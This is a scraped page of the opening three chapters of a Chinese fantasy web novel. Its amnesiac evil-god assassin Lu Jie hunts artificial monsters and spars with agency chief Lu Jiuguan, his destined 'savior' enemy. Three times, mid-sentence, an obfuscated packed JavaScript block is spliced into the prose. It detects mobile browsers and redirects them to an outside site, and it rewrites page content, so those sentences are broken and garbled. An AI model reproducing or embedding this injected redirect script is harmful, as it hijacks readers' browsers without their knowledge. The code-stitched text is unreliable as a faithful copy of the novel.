《邪神也要当救世主吗?》 1. 组织杀手 唰唰! 一道黑影掠过残月。 夜色骤然一暗,被惊动的追捕者们霎时抬头,急促的喊声接连响起。 “是那个A级恶种!” “小心!” 沙沙…… 树影晃动起来,就像是嘶哑的轻笑。 下一个瞬间,有某种庞大的东西破开黑暗—— 从人群头顶一掠而过! “在那里!方向废弃大楼——” “追!” 寂静的夜色里,一幢近百米的高楼静静伫立,荒败无人的楼顶已经成为植物的乐园,盘根错节的藤蔓盘踞在天台边缘,被一双素白的手拨开。 陆颉站在最高处,居高临下注视着这场追猎。 恶种,这个世界里潜伏在阴影中的怪物,它们借由人类产生的负面情绪诞生,能够污染人类的精神和基因,将一个正常人一步步变为自己的同类,从而壮大族群。 它们是人类的天敌。 而正在夜色中疾行的追捕者,则来自异常事务联合管理局,一个专门负责解决异常事件,收容恶种,同时抓捕人类异能者罪犯的机构。 ——陆颉本人,正是异管局一直想要抓捕的对象之一。 他耐心地等待着,一手灵巧地拨开糖纸,张嘴卷走里面的薄荷糖的同时,将糖纸折成一个小小的王冠放进贴身口袋。 接着,他将手中的暗金面具扣到脸上。 变化在下一刻发生。 他的身形骤然拔高了数公分,由原本的修长体型变为高大,齐耳的黑色短发也随之拉长,化为银白的高马尾悬于后脑,猩红的瞳孔则变得晦暗深沉,几近墨色。 再无人能将先前纤瘦漂亮的黑发青年,和眼前这个浑身气息危险诡谲,在地下世界大名鼎鼎的杀手联系在一起。 异管局通缉榜榜首,噬光。 陆颉戴上兜帽,将目光从脚下无知无觉的追捕者身上移开,落向天台外。 他出现在这里,同样是为了那个被异管局追捕的恶种。 * “噫……” 【吃……吃掉……】 攀缠在天台外墙的藤蔓间正传来极其轻微的呓语,带着无法自控的颤音。 那是人类无法理解的混乱音节,藏着极为复杂的含义。 但陆颉能听懂。 从小时候起,他就不停地做梦。 最常见的梦境里,他以不同的视角在城市的阴影中潜行,和那些黑制服的人类交手,嚎叫着嘶吼着意味不明的字句。 那些光怪陆离的梦境陪伴他度过了充满血色和黑暗的童年。 后来,他知道自己能与恶种交流,那些梦境中的自己,是一个个被世界不容的怪物。 而他自己,则是这个世界上最大的怪物—— 那个传闻中……统领着一切恶种的邪神。 只是失去了记忆和力量,以人类的姿态存在于世。 “噫……噫!噫!!!” 藏在暗处的恶种贪婪地盯住自己的猎物,为他们的愚蠢和天真窃喜不已,攀在藤蔓后的触手无声无息下坠,蓦地绷直—— “噫——” ! 将欲出口的嘶鸣被蓦地掐断,陆颉不知何时已出现在恶种身旁,他拽住触手,猛地发力将它甩进了废弃大楼! 砰! 短刀与坚硬的表皮狠狠相撞,发出沉闷的钝响,陆颉微微皱眉,劈开向自己袭来的触手,为恶种力量的突然提升感到困惑。 短短几秒内,已经跨过A级,直逼更高一阶的S级。 力量等级是极难跨越的,尤其当本就位于金字塔上层的时候。 所以这很奇怪。 但更奇怪的却是另一件事。 ——他的异能不起作用。 陆颉躲避着攻击,分心思考了几种可能,没有得出结论,但脚下的楼板已经开始震动,急切的脚步声从下方十几层的位置传来—— “在上面!” “有打斗声——等等!” “恶念检测仪……怎么回事,为什么无法显示?” 骤然紧绷的声线落进陆颉耳中。 “路大让我们立刻撤离,他随后就到!” 陆颉轻轻啧了一声。 那些异管局的执行官不足为惧,眼前的恶种也不难解决,但更大的麻烦却在后头。 他必须速战速决,来应对一个更令人厌烦的敌人。 “噫!!!” 下一个瞬间,在面前的恶种唳声尖啸,齐齐张开触手袭来的同时,陆颉猛地拧身提速,不退反进—— 他放弃所有防御,将速度提到极致,刹那间身形在原地留下残影,如同一柄锐不可当的利刃破开密集的攻击,撞向澄黄的眼球中央! 噗嗤! 两柄短刃一前一后刺入眼球,毫不犹豫地一划一挑,凄厉至极的哀嚎响起一瞬就戛然而止,下一刻所有触手委顿在地,彻底失去了活性。 一个力量几乎接近S级的恶种,就此消亡。 “呼……呼……” 陆颉剧烈喘息起来,顺着恶种倒地的动作滑坐到地面,倚靠着残缺的尸体支撑自己,半身黑衣已经被鲜血染红。 异能难以生效后,为了快速杀死一个S级的恶种,陆颉不可避免地要付出一点代价。 但只需要付出完全能够承受的代价就可以解决问题,对陆颉而言就是一笔非常划算的买卖。 等价交换。 这是他习以为常的生存方式。 更何况这点代价几乎可以忽略不计。 黑色风衣的掩盖下,陆颉身上有数不清的血洞正以一种不可思议的速度愈合,短短几分钟后,除了一身染血的黑衣,已经完全看不出任何受伤的痕迹。 又过去一分钟,陆颉彻底压下所有受伤带来的痛楚,姿态平稳地站起身,迅速收拾好现场残留的血迹,最后从怀中取出一只巴掌大的方盒。 数秒后,庞大的身躯消失在原地,方盒内却出现了一个缩小数百倍的眼球恶种。 陆颉合上方盒,转身从天台另一侧纵身跃下,收敛起自身一切气息,迅速离开了被异管局设下的明黄色警戒线范围。 四下无人。 异管局的警戒线,他怀里收容恶种的方盒,脸上可以改变身形面容的面具,它们都是这个世界中伴随着恶种出现而出现的物品,因其具备的奇妙特性而被统称为异常物。 警戒线的特性,就是禁止通行。 外界不可进入,内部不得擅离。 但陆颉不仅仅只是一个S级异能者,世上能够影响到他的异常物屈指可数,警戒线当然不在其列。 可异常物拦不住他,有人却可以。 陆颉停下脚步。 他站在光与暗的分界处,身后明黄的警戒线悄然消散,但与此同时身前小巷的路灯下却有一人静静倚在墙边,像是已经等了很久。 “噬光。” 沉冷的嗓音一字一顿喊出陆颉的代号,黝黑的瞳孔一错不错盯住他,如同发现猎物的狩猎者,缓缓释出冷酷的笑意。 “你又受伤了。” 真是狗一样的鼻子。 陆颉不动声色地放松全身肌肉,双手五指微张,轻笑开口。 “天天来堵我,你也是很闲。” 异管局执行部部长,首席执行官,自六年前他以噬光身份活跃在地下世界之后,就带着一众部下锲而不舍对他围追堵截,紧追不舍。 是统率着那些嗅觉敏锐而身手矫健的猎犬的,令所有人心悦臣服的……最凶悍狠辣的头狼。 “路九观。” 下一刻,两人同时暴起! * 砰! 后背重重撞上墙面的瞬间,陆颉条件反射横刀左切,毫不留情的狠辣动作却在下一刻蓦然一滞。 受伤还是影响到了他的速度,路九观比他更快一步,扣住了他的咽喉。 “你的出血量几乎是致死的程度。” 落在耳旁的声音沉得令人发怵,像是强行压抑着极深的怒气,让陆颉感到十分莫名其妙。 他又不会死。 这家伙不是很清楚吗? “……噬光。” 一字一顿,几近从牙缝里逼出的声音带着嘶哑的血腥气,仿佛是被陆颉这种无所谓的姿态激怒了,路九观扼住他的下巴,那双黝黑眼睛冷冰冰地看来,散发出浓浓的郁气。 “这些人造恶种很不对劲,别太掉以轻心。” 陆颉不以为意,随口说道:“今天晚上的这个,力量在瞬间从A级提升到接近S级,你们的人差点就要被它玩死了。” 他懒洋洋地嘲讽:“——是你别翻车才对。” “……组织的任务就这么重要,让你完全不顾自己?” 路九观的语气变得越发危险,卡住咽喉的虎口也在一瞬间收紧,陆颉啧了一声,在逐渐攀升的窒息感中开始感到厌烦。 作为地下世界里头号非法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396450|184295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 组织的首席杀手,他与这位执行部的首席执行官彼此厮杀多年,已经极为熟悉,可以说路九观的绝大多数行为都在他预料中,但偏偏就会有像这次一样的时候,陆颉无论如何都不能理解对方在想什么。 但这都无关紧要。 他同样神情危险地抬眼,一言不发盯住那双黝黑的眼睛,目光相接的刹那路九观瞳孔微颤,手上动作出现了微不可察的凝滞。 而就在这一瞬间—— 陆颉骤然发力,对脖颈处刹那间加深的压迫视而不见,持刀的右手稳定无比划向咽喉,在路九观被迫放手后撤的同时,他矮身向前突进,左手刀自袖口倏尔滑至掌心。 双手刀自上而下重重一划—— 雪亮的刀光在夜色下悍然交叉,下一秒鲜血四溅! “现在你也受伤了。” 陆颉直起身,看向路九观腰腹间迅速蔓开的血痕,满意地开口。 “不会致死的出血量。” “哈……” 路九观捂住伤口,神色不明地看着他,像是怒极反笑。 “刀上有毒?” 陆颉坦然承认:“十分钟内不使用解毒剂,这一周都别想用异能。” 路九观垂下眼睛,像是喃喃骂了句脏话。 毒并不厉害,也很好解,但专为路九观这样的S级研制,而陆颉很清楚某个向来傲慢的首席执行官不屑于随身携带解毒剂。 路九观唯一的选择就是立刻离开。 “执行部正在关注最近频繁发生的人造恶种袭击事件,如果有进展我会将消息同步给你。” 几秒的权衡后,路九观果然做出了如陆颉所预料的选择,干脆利落地转身离开。 “噬光,就算你有着极强的恢复力,可以无视大多数致命伤势……但这种能力一定需要付出相应的代价。” 离开前,他背对着陆颉,低低说了几句话。 “我会摧毁你为之效命的组织,然后亲手抓住你——在那之前,可别死了。” 陆颉没有开口。 他看着那道高大的背影远去,消失在小巷尽头,上前几步,在路灯下看到了被放在墙面凹槽处的一瓶止痛药。 ——是执行部的特效药。 陆颉退回小巷的阴影中,耐心地等了会儿,直到远处引擎轰鸣的巨响逐渐远去才彻底放松下来,有些脱力地倚在墙边。 面具已经被取下,凌乱的黑色短发被汗渍润湿,紧紧贴在额头,苍白的脸上透出难掩的疲惫。 身体的快速修复消耗极大,刚刚他强撑着没有表现出来,但路九观早就知道。 陆颉定定注视了会儿掌心,还是没有打开药瓶,只是贴身放好。 清冷的月色落在那张秀丽的脸庞上,透出莹白的朦胧辉光,将他眼底的神色映得越发莫测。 组织没有止痛药,外面可以买到的普通止痛药对他不管用,路九观带来的这种特效药,对缓解他因为身体急速修复而带来的消耗过大问题效果极佳。 但还不到必须用药的时候。 陆颉深吸口气,压下身体各处传来的痛楚和挥之不去的疲惫,想要在这里休息一会儿再离开,但下一刻,他的神情却忽然凝固。 猩红瞳孔定定落在虚空。 无人可以看见,陆颉的身前悬浮着一本厚重古朴的大书,此刻正在疯狂震颤,就像是受到了某种呼唤和感召—— 在下一刻蓦地翻开! 【收录身份信息中……】 不属于任何文明,没有过任何记载的文字一行行浮现,在陆颉眼中化为清晰的语言。 这是属于邪神的武器,一本记载着世界暗面秘密的真言之书。 所收录的,皆为真实与存在。 【陆颉:邪神】 【已录入】 【路九观:???】 【身份录入中……】 …… …… 【录入完毕。】 【姓名:路九观】 【身份:救世主】 激烈的震动缓缓停下,璨金亮光从文字间溢出,构成无数交错纵横的线条,最终化为三行文字安静地停留在纸面上。 【救世主是邪神永恒的敌人】 【一个必将死在另一个手中】 …… …… 【邪神与救世主无法共存】 那些文字闪着光,照亮了没在阴影下的猩红瞳孔。 露出其中越发妖异的亮光。 2. 失忆邪神 陆颉又做梦了。 梦里的场面极为宏大,像是发生在一处久远岁月中的战场。 一场人类与恶种之间的死斗。 “嘤!嘤——” 几乎占满整片天空的恶种在空中翻滚着尖叫,数不尽的触手正被一一斩断,从高空坠落,浓郁的恶念随之飘散,在山川大地间形成经久不散的浓雾。 斩断那些触手的,是一个手提重剑,戴着兜帽的黑发男人。 “嘤——嘤……” 在一面倒的猎杀下,恶种的尖啸声逐渐变得微弱,本已失去活性的断肢却逐渐凝聚出更加黏稠的恶念,一团团肉瘤蓦地冒出,无数肉芽交织缠绕—— 短短片刻时间,新生的触手就再度张扬地散开! 持剑的男人身形微滞,但并没有犹豫,他很快大踏步奔跑起来,重剑被拖曳着在高空划出长长的亮芒,在那只恶种完全恢复的前一刻—— 他高高跃起至恶种那庞大的,与天同高的血色重瞳顶端,将重剑举过头顶,猛地斩下! 黏稠的鲜血如同瓢泼大雨,霎时倾泻而下! “嘤!!!!!!” 一道响彻天地的哀嚎后,天地间只剩下被生生撕开的半截恶种躯体,无数触手抽动着化为灰烬,那颗血色重瞳倒在地面,被一柄重剑死死扎入。 不知过了多久之后,那截残缺的躯体终于再也没了声息。 世界变得很安静。 杀死了恶种的男人沉默地站在原地,宽大的兜帽遮住了他的脸,只露出紧紧抿成一线的薄唇,像是正在竭力忍耐着某种情绪。 那不是喜悦,也不是兴奋,更不是放松。 苍茫荒芜的大地,可怖狰狞的恶种残躯,以及独自拼杀的人类。 不知为何,竟让人觉得非常悲伤。 呼啸的狂风从大地另一端涌来,将这一幕壮阔的画面搅得粉碎,梦境彻底消散的刹那,一缕微风掀开了男人的兜帽。 露出底下极为英俊……也极为熟悉的面容。 黝黑的眼睛里布满阴翳,朝陆颉直勾勾看来! “路九观!” 陆颉猛地睁开眼睛,和枕头旁直勾勾朝自己看来的血色重瞳对上眼,巴掌大小的眼球高兴地眨巴起来,两根拇指粗细的触手支撑着它,啪唧一声扑近陆颉脸颊。 “早上好唷!红红最爱的主人!” 陆颉一愣。 他单手拎起对方,提到眼前细细打量,与梦中那颗与天同高,触手铺开近乎无边无际的恶种一一对比,心底生出一个不太愿意相信的猜测。 “红红,你的本体有多大?” 小眼球高高举起触手比划:“很大!” 陆颉摸了摸那颗圆润的眼球,心念一动,古朴厚重的大书就出现在手边。 这本书在他十二岁觉醒异能的同时出现,但始终无法被打开,而自那之后的一年里他的梦境开始变化,古老的战场、互相厮杀的恶种与人类、看不清模样的庞大恶种…… 那些梦境的时间跨度极大,内容怪异混乱至极,但又常常让他感到莫名的熟悉,就好像是真正发生过的,理应存在于他记忆之中的过去。 这种感觉让当时才十二岁的陆颉非常混乱,一度失去了对自我和真实世界的认知,依靠着外界的强烈刺激才能勉强保持清醒。 但幸好,那些混乱的梦境止于他彻底掌握异能的一年后。 始终封闭的书翻开了第一页,从里面冒出了这颗傻乎乎的,自称为他眷属的小眼球恶种。 他也知道了自己究竟是谁。 哗哗。 真言之书蓦地翻动。 【姓名:陆颉】 【身份:邪神(???)】 【状态:记忆缺失,力量残缺,???】 【眷属:1/???】 【其他:???】 他的信息页内容少得可怜,呈现出大片的空白和未知,陆颉习以为常地往后翻,在眷属篇章的第一页看到了梦中最开始出现的画面。 与天同高的血色重瞳,张开几乎铺满天空的触手,苍茫的,荒败废弃的世界。 一颗娇小可爱的猩红眼球从枕头边跳到书页中央,朝陆颉举起触手作欢呼状。 “欸嘿,红红的本体!” ——果然。 真言之书随着这句话自动后翻,显露出全新的一页。 【原初恶种:瑞徳红】 【所属谱系:控制】 【你叫他红红,而人们通常将祂尊称为——猩红眼球阁下】 这是今天,准确来说是在那个梦境之后才被打开的页面。 陆颉继续看下去。 【等级:灾厄级(划掉),F级】 【状态:力量残缺,身体残缺,智力残缺,???】 【能力:感应恶种,精神沟通,混乱心智,无限再生】 【其他:因为能够无限再生,所以也是最完美的死士,请随意使用祂吧!】 力量,身体,智力,全部都是残缺。 比起自己的状态还不如。 陆颉神情复杂地回忆起方才的梦境。 是什么原因让红红的力量衰弱至此,多年来只能沉睡在真言之书内,甚至记不起一点过去? 是因为路九观吗? 可就他所认识的首席执行官路九观,即便身体力量确实无比强悍,但却远远达不到梦境中那般的程度。 也许路九观和他一样,同样失去了记忆和力量? 路九观又对这一切知道多少? 扉页中的三句话回响在陆颉耳边,让他的忌惮与杀意迅速升起,在心底越发膨胀。 沉寂多年的真言之书,十三岁以后就不曾做过的梦,却因为和路九观的一次遭遇全部发生了变化。 路九观。 原本他只将这个异管局的首席执行官当作一个有意思的对手,无聊生活中的一味调剂,在他的计划中可有可无。 但现在对方却成了最大的变数。 不可预测,不可理喻。 不可思议的…… 救世主。 邪神不死不休的敌人。 真言之书微微震颤,空白的页面突兀浮现出一幅画卷。 苍凉荒芜的大地上,拄着重剑的黑发男人独自一人,背影寥落孤单至极,像是背负着无人知晓的悲伤。 那幅画卷下,只有简简单单的两行字。 【姓名:路九观】 【身份:救世主(???)】 陆颉盯了会儿这两行字,心头生出果然如此的想法。 十年来,他已经把这本书翻来覆去研究了个遍,知道这种信息量过少的情况是因为什么。 他对路九观的了解还远远不够。 真实的那部分远远不够。 换言之,他手里关于异管局首席执行官路九观的绝大多数资料—— 都经过了伪造。 这就很有意思了。 陆颉凝视着真言之书内那个形单影只的背影,杀意微妙地消减,被另一种更加强烈的探索欲替代。 路九观。 救世主。 你又隐瞒了什么?为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396451|184295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了什么隐瞒? 那些我不曾记得的,发生在久远岁月之前的过去里,你究竟…… “主人主人!我想起来了!” 属于救世主的那一页被砰得一声拱开,猩红眼球从天而降,兴奋地扭动着触手。 “您曾经说过的!只要真言之书解锁了救世主这一页,就意味着您要开始恢复力量和记忆了!” 陆颉骤然抬头。 “红红,你还想起什么了?我曾经还说过什么?” 获得真言之书后,陆颉就着手开始探索如何恢复邪神的记忆与力量,但不论他解锁了多少关于异常物和恶种的页面,却对此依旧毫无头绪。 他知道一定是因为缺少了某种契机。 而今天,这个契机—— “主人,您的记忆和力量存放在我们四个身上,只要您将我们唤醒,再一次契约——” 猩红眼球在真言之书上快乐地摇摆,空白的页面随着他的话逐渐浮现出新的图像与文字。 “您的记忆和力量就将回归!” 一组剪影横跨两页,静静横在白纸之上。 那是四个形象各异的恶种,但透露出来的信息有限,只能看出第一位的猩红眼球,第二位是动物形态,第三四位是一高一矮的人类姿态。 他们下方写着四个谱系名称。 控制、精神、特质、变化。 四个灾厄级原初恶种。 邪神麾下最强大的眷属。 “主人!契约!红红的本体!契约!” 猩红眼球在剪影上打着滚,兴高采烈地举起触手欢呼。 “我们将跟随您!去夺回本就该属于我们的一切!” 陆颉看向眼前的真言之书。 四大原初恶种的剪影中,只有猩红眼球的剪影在顶端涂上了几笔色彩,对应着已经出现在他身边,但同样失去力量、记忆、身体的红红。 他安静地注视着其余仍蒙在未知中的画像,脸上神情没有变化,眼底的猩红却越来越亮,某种名为期待与兴奋的情绪被唤醒,让他的十指近乎战栗般微微颤动。 逐渐升起的野心在胸腔内砰砰作响。 只要能恢复邪神的力量,他现在所面临的一切困境都将迎刃而解,他所有的筹谋和计划都能够得到保障,他将会得到自己想要的真正的自由。 现在,目标就在眼前。 “先找到你的本体,然后去找到其他三个。” 陆颉低声开口,短短片刻内已经有了计划。 梦境中,有一个标志出现在很多地方,他隐隐觉得有种说不上来的熟悉,刚刚看到路九观的信息,忽然想起来。 三个Ω绕成一圈,彼此相对。 他曾在路九观手中的文件里见过这个标志。 * “轰——” 距离中心城市中心遥远的郊外,重型机车轰鸣声骤然一歇,路九观在山脚停车,看向眼前的山头。 无数血红枫叶在半空中高速运动,几乎形成一道龙卷风盘踞在山顶。 他在心底默默计数。 这是本月第十三个…… 控制谱系人造恶种。 手机上收到新的邮件提示,路九观打开附件,飞快地翻阅着异管局发来的最新调查信息。 他多看了眼文档右上角的水印,眼底露出几分疑惑,但很快注意力被来自山顶的异能波动吸引,三步并作两步冲进了山林。 熄屏的手机中,刚刚被阅览完毕的文档自动销毁,右上角黑色的水印渐渐淡去。 三个Ω绕成一圈,彼此相对。 3. 嫌疑人√ “呜——呜——” 血红枫叶在空中密集地飞舞,形成一道道飓风,将整座山头笼罩在内。 路九观单手插兜站在明黄色警戒线中央,另一只手拄着柄巨大的重剑,直直插入脚下的土地。 扑面而来的狂风下他纹丝不动,只有额前的碎发被风吹散,盖过眉骨,半露出微微眯起的黝黑眼睛,如同一头傲慢的凶兽漫不经心地戏弄着自己的猎物。 他没做什么,只是每每在恶种几乎要冲出封锁的前一刻举剑,轻描淡写一划,再次将对方逼退。 红枫越发躁动起来,但却依旧维持着原本的行为模式,一次又一次徒劳地撞击。 路九观微微拧眉。 ——和噬光说的不一样。 它并不具备类人的智力,也不会突然跨越力量阶级,确实只是普普通通的A级人造恶种,就和异管局之前遇到过的那些一样。 难道昨天晚上废弃大楼的那一只人造恶种是特殊的? 但科学部给自己的调查报告里没有提到这些,关于恶种等级突然变化的分析结论则是“推测具备伪装能力”。 他该相信噬光的判断吗? 叮咚!叮咚! 特别设定的信息提示音突兀响起,路九观拿出手机,看到加密信箱内接连弹出两条新消息。 【世光大厦出现人造恶种】 【有普通人被污染,怀疑恶念屏蔽仪已失效】 路九观看到后一条信息时眉心一跳,原本有些懒散的姿态霎时紧绷,他放下手机改为双手握剑,嘴唇翕动无声地吐出两个字,随后将剑一拔,再重重砸落在地! 轰—— “噫!!!” 肉眼可见的异能波动以路九观为核心向外扩散,伴随着轰然响起的凄厉哀鸣,笼罩在整个山头的红枫瞬间被清空,露出头顶的碧蓝天空。 “警戒解除。” “人为制造的恶种,本月第十三个,A级。” 路九观看都没看自己的战果,转身大步跨出警戒线,不带停歇地下达出一连串指令。 “技术组采样,后勤组收尾。” “剩下的人跟我走。” “第十四个人造恶种出现在世光大厦。” “恶念屏蔽仪已失效,立刻出发,动作要快!” “是!” “是!” 所有人都意识到了问题的严重性,在场的执行部成员立刻动了起来,几分钟后,数辆越野车组成的车队就驶出了这片山林,往市中心方向飞驰而去! “轰!轰轰轰轰!” 车队最前方,一辆重型机车咆哮着破开空气,路九观伏低身体,用异能全力加速,瞬间甩开了车队,风驰电掣般冲进了眼前高楼林立的城市。 他的神色难看至极。 恶种随时都在外溢一种名为恶念的能量,普通人对此毫无抵抗之力,而恶念屏蔽仪是世光科技集团研发出的划时代产物,是普通人在恶种面前唯一可以有效防护的手段。 恶念屏蔽仪一旦失效—— 这些普通人将会立刻被恶念影响、污染、发生畸变……直至自身被彻底异化,失去神志,沦为恶种的一员! 而这一次出事的地方偏偏是世光大厦。 全球三大寡头之一,垄断了这个世界科技命脉的世光科技集团总部,中心城内规模最大,人员最密集的超高层办公楼建筑群,每日的人流量数以万计。 一旦这里面有人被异化为恶种…… 这个中心城最繁华最光鲜靓丽的地方,顷刻间就会成为一座人间炼狱! * 时间回到三十分钟之前。 陆颉戴好工牌,刷卡进入世光大厦,再经过两次身份验证后,终于到达自己实习的部门。 世光大厦外包的物业管理公司。 现在是大四上半学期,他已经以接近满绩点的成绩提前锁定了中心城首府大学的保研资格,就等着按部就班拿到实习证明,开启自己的研究生生涯。 首府大学成绩优异但不太合群的好学生,这就是陆颉在明面上的身份。 好学生陆颉神情诧异地走入办公室。 工位上空无一人,拐角处会议室亮着灯,经理亢奋的声音透过玻璃传来。 “世光集团对我们的服务非常满意,所有人,都要以百分之两百的劲头继续投入工作!服务好我们的甲方!” 同事们一言不发,昏昏欲睡,但陆颉却听到了一阵阵细细密密的,诡谲尖利的絮语。 “好饿……吃……想吃……” “奇怪,怎么又饿了……炸鸡薯条披萨……不是这些,想吃……想吃生牛肉塔塔……不,不是。是……生,生的,肉——肉!!” “经理看起来有点好吃,脸颊肉……嗯……应该很嫩吧……” 十分可怕但无知无觉的暴言此起彼伏,在眼前平凡普通的场景中显得格外悚然,但对恶种习性极为熟悉的陆颉立刻就明白发生了什么。 ——会议室里的所有人,都被恶念污染了。 而污染他们的那个恶种…… 陆颉神情自然地后退一步,垂下眼睛,看到了一根几乎融于地砖的浅灰色触手。 下一秒,地砖上那些像是污渍的痕迹游动起来,足足上百根粗细不一的触手从伪装下露出真容,于刹那间轰然涌向会议室—— 在一阵令人毛骨悚然的咀嚼和吞咽声里,消失得干干净净! 不知为何,它们绕过了陆颉,像是对他并不在意。 但陆颉非常在意。 世光大厦有着完备的恶念屏蔽和预警系统,绝不可能有恶种无声无息潜入,更不用说污染普通人类。 那么眼前是怎么回事? 从会议室内传来的絮语越发混乱而激烈,陆颉皱了皱眉,忽然想到了什么,抬手发动异能,如预料中一样没有发挥任何作用。 他得到了答案。 ——人造恶种。 根据以往的经验,人造恶种不仅可以免疫自己的异能,甚至能躲过恶念监测和屏蔽。 这几乎突破了目前一切人类限制恶种的手段,更可怕的是,它们还在不断进化。 之前遇到的所有人造恶种,力量不强且无法污染人类,而在昨天夜里,出现了第一只力量能自主提升的恶种。 今天的这只,甚至已经具备了污染普通人的力量,并且躲过了世光大厦的监测。 这是一种人为制造的……比恶种更可怕千百倍的东西。 如果任由它们发展和进化下去……会发生什么? 陆颉无法想象,但他知道那一定是自己和异管局都不会想看到的未来。 所以他们目标一致。 猩红色的亮芒在眼底幽幽闪烁,陆颉注视着眼前大门紧闭的会议室,某个刚成型不久的计划浮上心头。 他编辑了两条信息,发送至某个未署名的号码。 叮咚。 消息发送成功,显示已读。 陆颉等了一分钟,没有收到回复,于是他删除消息,径直推开门。 迎面而来的灰白雾气将视线遮蔽,霎时将他吞没。 * 陆颉穿行在灰茫茫的雾气间。 悉悉索索的声响不时透过雾气传来,湿滑粘腻的触手从他的头顶、脚背、身体两侧慢吞吞地游过,对他的出现依旧无动于衷。 直到陆颉伸手搭住第一个被污染的同事。 “嘶!” 一根手臂粗的触手自脑后垂下,朝他高高昂起尖端,发出警告般的嘶声。 陆颉若有所思地松开手,缓慢退开一步,看着那根触手渐渐放松警惕,游动过来将同事一圈圈卷住,仿佛在宣告猎物的所有权。 他生出了一种极其怪异的感觉。 这里的那个人造恶种,似乎将他认作了自己的同类。 因此不主动攻击他,但却会因为护食而发出警告。 是因为猩红眼球? “咦,主人,这里怎么有红红的味道?” 陆颉心念刚起,一根细细的肉粉触手就从他领口伸出,豆芽似的身体在粗壮的触手面前轻轻飘摇,无数细密的重瞳好奇地转来转去。 “咦呃——臭!” 但下一刻,小眼球就啪得一声缩回真言之书内,咔咔地干呕起来。 “好臭的味道!主人!这个是什么东西!明明是红红的谱系后裔,但怎么有股怪怪的臭味!” 柔弱无助的猩红眼球阁下在真言之书内放声尖叫:“和之前主人遇到的那些一样,但这个更臭!臭死红红了!” 因为是人造恶种。 陆颉不动声色拨开眼前的迷雾,觉得自己已经接近了真相。 迷雾深处,站着一个被触手环绕在中央的人类。 “你也是被选中的人?” 西装革履,梳着大背头的物业公司经理微笑开口,朝陆颉张开双臂。 “真没想到,在这里还能遇到我的同类。” 浓郁的腥臭味从对方身上飘来,陆颉屏住呼吸,有些惊讶于自己下意识升起的厌恶,为对方的说辞扬了扬眉。 选中的人。 我的同类。 是人造恶种拥有了人类的形态、思维,以及记忆。 还是一个人类通过某种方式,成为了人造恶种? 陆颉默不作声地松开了滑落至袖口的短刀,露出恰到好处的警惕与疑惑混合的神色。 “……经理,你在说什么?” 经理哈哈笑了起来。 “不用这么警惕,小朋友。虽然你还很弱小,但只要被选中,就有机会被更强大的存在寄生……” ——是后者。 对方清楚地知道在自己身上发生了什么,并且完全自愿。 陆颉心思急转,微微垂下头,声音渐渐变得低落。 “但我的任务是好好读书,以后进入世光科技总部,不需要多强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396452|184295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……可能不会有别的机会了。” 灰白的雾气环绕着他瘦削苍白的脸庞,衬得本就清冷秀丽的面容越发惹人心疼,就像是易碎的珍贵名器。 低垂着头的时候,整个人看起来极其脆弱,没有一点攻击性。 “原来是这样,我说那么珍贵的东西……怎么舍得用在你这种没有异能的学生身上,怪不得……” 原本就是C级异能者的经理“哈”了一声,语气颇为自得,显然并没有产生怀疑。 “那你就待在一边,等我把这些人类都污染成恶种,以后就不会有人发现我们的身份了。” 灰白触手无声无息汇聚,拖拽着一个个陷入昏迷的同事,陆颉不动声色观察着他们的污染程度,没有出声。 “不用担心异管局的盘查,我自有方法应对,倒是你……不要暴露牵连我,否则就杀了你——” 轰—— 机车轰鸣的声响从远处遥遥传来,直线逼近,打断了经理语气阴冷的威胁。陆颉状若害怕地往墙边缩去,双手掩在袖中微一用力,将短刀震碎。 灰白的雾气越发浓重,触须狂乱地挥舞起来,从经理身上逐渐脱落,蠕动着攀上天花板。 一颗硕大的竖瞳被拱卫在触手中央,冷冷地盯住窗外。 “阴魂不散的猎犬……” 经理的眼神里透着同样冰冷的愤恨,转向陆颉的目光中又带上了隐隐的评估,片刻后他忽地一笑,脸上浮现出古怪的神情。 “真是可惜……” “轰!” 话音未落,无数灰白触手就自天花板蓦地垂落,无差别袭向在场的所有人! “轰!” 几乎在同一时间,重型机车的轰鸣声闯入这座封闭的空间,在四散溅射的玻璃碎片中,陆颉被一道大力圈住肩膀,刹那间突破了所有触须的封锁,骤然出现在恶种的身前! “唳!!!!!” 尖锐高亢的嘶鸣声在头顶炸开,却又在下一个瞬间蓦地消声,强大的气息带着毫无掩饰的攻击性和侵略性,不容拒绝地将陆颉笼罩。 一股幽深的蓝花楹清香飘散在鼻间。 “别睁眼。” 耳边落下一道冷硬简短的命令,按住陆颉的力道微微加重,但陆颉却好似什么都没有听到那般,神色如常地抬头。 他的目光里甚至带着微微的欣赏。 眼前的画面和他梦中的场景极为相似。 